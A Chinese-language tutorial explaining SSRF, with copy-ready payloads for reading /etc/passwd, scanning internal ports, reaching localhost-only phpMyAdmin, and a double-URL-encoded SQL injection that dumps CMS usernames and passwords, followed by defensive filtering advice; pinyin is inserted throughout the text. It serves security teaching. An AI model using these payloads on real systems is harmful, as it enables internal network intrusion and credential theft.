一.漏洞場(chǎng)景
服務(wù)器會(huì)根據(jù)用戶提交的URL 發(fā)送一個(gè)HTTP 請(qǐng)求。使用用戶指定的URL,Web 應(yīng)用可以獲取圖片或者文件資源等。典型的例子是百度識(shí)圖功能。
二.漏洞描述
如果沒(méi)有對(duì)用戶提交URL 和遠(yuǎn)端服務(wù)器所返回的信息做合適的驗(yàn)證或過(guò)濾,就有可能存在“請(qǐng)求偽造”的缺陷?!罢?qǐng)求偽造”,顧名思義,攻擊者偽造正常的請(qǐng)求,以達(dá)到攻擊的目的。如果“請(qǐng)求偽造”發(fā)生在服務(wù)器端,那這個(gè)漏洞就叫做“服務(wù)器端請(qǐng)求偽造”,英文名字Server Side
Request Forgery,簡(jiǎn)稱SSRF。
三.漏洞原理
SSRF是一種由攻擊者發(fā)起的偽造服務(wù)器發(fā)送的請(qǐng)求的一種攻擊。服務(wù)器接受了來(lái)自于客戶端的URL 地址,并由服務(wù)器發(fā)送該URL 請(qǐng)求。對(duì)用戶輸入的URL 沒(méi)有進(jìn)行恰當(dāng)?shù)倪^(guò)濾,導(dǎo)致任意URL 輸入。沒(méi)對(duì)響應(yīng)的結(jié)果進(jìn)行檢驗(yàn),直接輸出。
四.漏洞危害
●端口掃描;
●內(nèi)網(wǎng)Web 應(yīng)用指紋識(shí)別;
●攻擊內(nèi)網(wǎng)應(yīng)用;
●讀取本地文件;
五.漏洞評(píng)級(jí)
高危
六.漏洞驗(yàn)證
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
七.漏洞利用
1.文件訪問(wèn)
?url=http://www.baidu.com
?url=http://www.baidu.com/img/bd_logo.png
?url=http://www.baidu.com/robots.txt
2.端口掃描
?url=http://127.0.0.1:80
?url=http://127.0.0.1:3306
?url=dict://127.0.0.1:3306
?url=http://10.10.10.1:22
?url=http://10.10.10.1:6379
3.讀取本地文件
?url=file:///c:/windows/system32/drivers/etc/hosts
?url=file:///etc/passwd
?url=file:/c:/www/ssrf/ssrf_curl.php
4.內(nèi)網(wǎng)應(yīng)用指紋識(shí)別
有些應(yīng)用是部署在內(nèi)網(wǎng)的。
<Directory "c:\www\phpMyAdmin">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>
#在httpd配置文件中設(shè)置,只允許本機(jī)訪問(wèn)phpMyAdmin,但存在SSRF漏洞,就可以繞過(guò)并且可以訪問(wèn)?。。。?url=http://127.0.0.1/phpmyadmin)
內(nèi)網(wǎng)應(yīng)用指紋識(shí)別。
?url=http://127.0.0.1/phpmyadmin/readme
5.攻擊內(nèi)網(wǎng)WEB應(yīng)用
內(nèi)網(wǎng)安全通常都很薄弱
<Directory "c:\www\cms">
#Order allow,deny
Order deny,allow
deny from all
allow from 127.0.0.1
</Directory>
#在httpd配置文件中設(shè)置,只允許本機(jī)訪問(wèn)cms,但存在SSRF漏洞,就可以繞過(guò)并且可以訪問(wèn)?。。?
通過(guò)SSRF漏洞可以實(shí)現(xiàn)對(duì)內(nèi)網(wǎng)的訪問(wèn),從而可以攻擊內(nèi)網(wǎng)應(yīng)用。僅僅通過(guò)GET方法可以攻擊的內(nèi)網(wǎng)Web應(yīng)用有很多。
例如:cms的sql注入(需要對(duì)注入的SQL語(yǔ)句進(jìn)行二次URL編碼)文章來(lái)源:http://www.zghlxwxcb.cn/news/detail-440509.html
?url=http://127.0.0.1/cms/show.php?
id=-33/*A*/union/*J*/select/*E*/1,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15/*S*/from/*T*/cms_users
?url=http://127.0.0.1/cms/show.php?
id=-33%25%32%30union%25%32%30select%25%32%301,2,3,4,5,6,7,8,9,10,concat(username,0x3a,password),12,13,14,15%25%32%30fr
om%25%32%30cms_users
#需要對(duì)注入的SQL語(yǔ)句進(jìn)行二次URL編碼
八.漏洞防御
1.過(guò)濾輸入
●限制協(xié)議,僅允許 http 或 https 協(xié)議;
●限制IP,避免應(yīng)用被用來(lái)獲取內(nèi)網(wǎng)數(shù)據(jù),攻擊內(nèi)網(wǎng);
●限制端口,限制請(qǐng)求端口為常用端口。
2.過(guò)濾輸出
●過(guò)濾返回信息,只要不符合要求的,全部過(guò)濾;
●統(tǒng)一錯(cuò)誤信息,讓攻擊無(wú)法對(duì)內(nèi)網(wǎng)信息進(jìn)行判斷。文章來(lái)源地址http://www.zghlxwxcb.cn/news/detail-440509.html
到了這里,關(guān)于Web漏洞之SSRF(服務(wù)器端請(qǐng)求偽造)的文章就介紹完了。如果您還想了解更多內(nèi)容,請(qǐng)?jiān)谟疑辖撬阉鱐OY模板網(wǎng)以前的文章或繼續(xù)瀏覽下面的相關(guān)文章,希望大家以后多多支持TOY模板網(wǎng)!